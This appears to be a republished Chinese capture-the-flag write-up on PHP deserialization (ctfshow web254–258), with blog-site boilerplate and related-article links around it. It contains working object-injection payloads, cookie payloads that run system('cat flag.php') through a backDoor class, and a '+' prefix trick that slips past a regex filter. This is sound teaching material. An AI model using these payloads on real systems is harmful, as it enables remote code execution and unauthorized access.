ctfshow web入门——反序列化

这篇具有很好参考价值的文章主要介绍了ctfshow web入门——反序列化。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

  • web254
  • web255
  • web256
  • web257
  • web258

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

代码审计,上传username=xxxxxx&password=xxxxxx即可获得flag


web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析代码可知,这里user的值是使用反序列化user COOKIE传参的值

并且传入的值是username=xxxxxx和password=xxxxxx

利用php文件将其反序列化并进行url编码

<?php

class ctfShowUser{
    
    public $username='xxxxxx';
    
    public $password='xxxxx';
    
    public $isVip=ture;
    
}

$a=serialize(new ctfShowUser());

echo urlencode($a);

将结果上传,并要从cookie中传入,获得flag

ctfshow web入门——反序列化


 web256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

和上题差不多,但这题是!==,即需保证username和password的值不同,但类型一样

所以只需要将password的修改成和username不一样就好了(例如把password的x删去一个)

并且get传参的值要和COOKIE传参的值相同

payload

?username=xxxxxx&&password=xxxxx

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

ctfshow web入门——反序列化

 用到了一个函数construct():构造函数(constructor method,也称为构造器)是类中的一种特殊函数,当使用 new 关键字实例化一个对象时,构造函数将会自动调用。

可以根据这个函数的性质在创建对象的时候进行命令执行

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class='backDoor';
 
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("cat f*");';
}
 
$ctfShowUserObj = new ctfShowUser();
$a = serialize($ctfShowUserObj);
echo urlencode($a);
 
?>

构造payload:

?username=xxxxxx&&password=xxxxxx

 user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D


web258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

相较于上一题这里多加了一个过滤,可以在数字前面加一个+进行绕过

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class;
}
class backDoor{
    public $code="system('cat flag.php');"; 
}
 
$a = new ctfShowUser;
$a -> class = new backDoor;
$b=serialize($a);
$b = str_replace("O:11","O:+11",$b);
$b = str_replace("O:8","O:+8",$b);
echo urlencode($b);

payload

payload:
    get传参:?username=xxxxxx&password=xxxxxx
    cookie上传: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

 flag需要在网页源代码中找到

ctfshow web入门——反序列化文章来源地址https://www.toymoban.com/news/detail-509644.html


到了这里,关于ctfshow web入门——反序列化的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全--反序列化漏洞(java篇)

    序列化的意义就在于方便存储和传输,永久的保存到硬盘中,通常保存在一个文件中。 序列化:将java对象转换为字节序列的过程 反序列化:序列化的逆过程,从储存区读出字节序列还原成对象的过程 java应用在对用户的输入没有进行严格的检查时,即传入了不可信的数据做

    2024年02月09日
    浏览(40)
  • 【WEB安全】不安全的反序列化

    序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。 **序列化是指将对象或数据结构转换为字节流的过程。**在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议

    2024年02月16日
    浏览(40)
  • 【从入门到起飞】IO高级流(1)(缓冲流,转换流,序列化流,反序列化流)

    🎊专栏【JavaSE】 🍔喜欢的诗句:天行健,君子以自强不息。 🎆音乐分享【如愿】 🎄欢迎并且感谢大家指出小吉的问题🥰 在代码中使用缓冲流(Buffered Streams)有许多好处,特别是在处理I/O操作时,它们可以显著提高性能和效率。缓冲流是一种在内存中创建缓冲区的I/O流,

    2024年02月08日
    浏览(34)
  • Web开发模式、API接口、restful规范、序列化和反序列化、drf安装和快速使用、路由转换器(复习)

    一 Web开发模式 1. 前后端混合开发模式 2.前后端分离开发模式 二 API接口 三 restful规范 四 序列化和反序列化 五 drf安装和快速使用

    2024年02月10日
    浏览(33)
  • 【wp】2023鹏城杯初赛 Web web1(反序列化漏洞)

    考点: 常规的PHP反序列化漏洞+双写绕过waf 签到题 源码: 代码审计: 入口肯定是H. __destruct()魔术方法进去,然后这里就涉及到下一步tostring()魔术方法的触发 ,但是这里涉及两个tostring()方法 然后这里就有个非预期解 非预期解:  POP链:H.destruct()-Hacker.tostring() 代码构造

    2024年02月05日
    浏览(22)
  • 38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。 反序列化:从存储区中读取该数据,并将其还原为对象的过程,成为反序列化。 1、主函数: 调用序列化方法 将反序列化的的结果

    2024年01月25日
    浏览(35)
  • 37-WEB漏洞-反序列化之PHP&JAVA全解(上)

    未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。 2.1.1、本地 unserialize2.php flag.

    2024年01月22日
    浏览(37)
  • 自然语言处理从入门到应用——LangChain:链(Chains)-[通用功能:链的保存(序列化)与加载(反序列化)]

    分类目录:《大模型从入门到应用》总目录 LangChain系列文章: 基础知识 快速入门 安装与环境配置 链(Chains)、代理(Agent:)和记忆(Memory) 快速开发聊天模型 模型(Models) 基础知识 大型语言模型(LLMs) 基础知识 LLM的异步API、自定义LLM包装器、虚假LLM和人类输入LLM(

    2024年02月11日
    浏览(33)
  • PHP反序列化入门手把手详解

    前言:文章内容大致可分为原理详解-漏洞练习- 防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序列化原理的详细分析以及一系列由简入深的PHP反序列化习题练习和分析讲解。文章写作初衷是想借助REEBUF平

    2024年02月08日
    浏览(37)
  • Django REST Framework入门之序列化器

    Django REST framework (简称:DRF)是一个强大而灵活的 Web API 工具。遵循RESTFullAPI风格,功能完善。 能简化序列化及开发REST API视图的代码,大大提高REST API的开发速度;提供灵活的路由API,内置了强大的认证和授权机制 Django REST framework 最新版使用要求 在settings.py文件的INSTALLED_

    2024年01月21日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包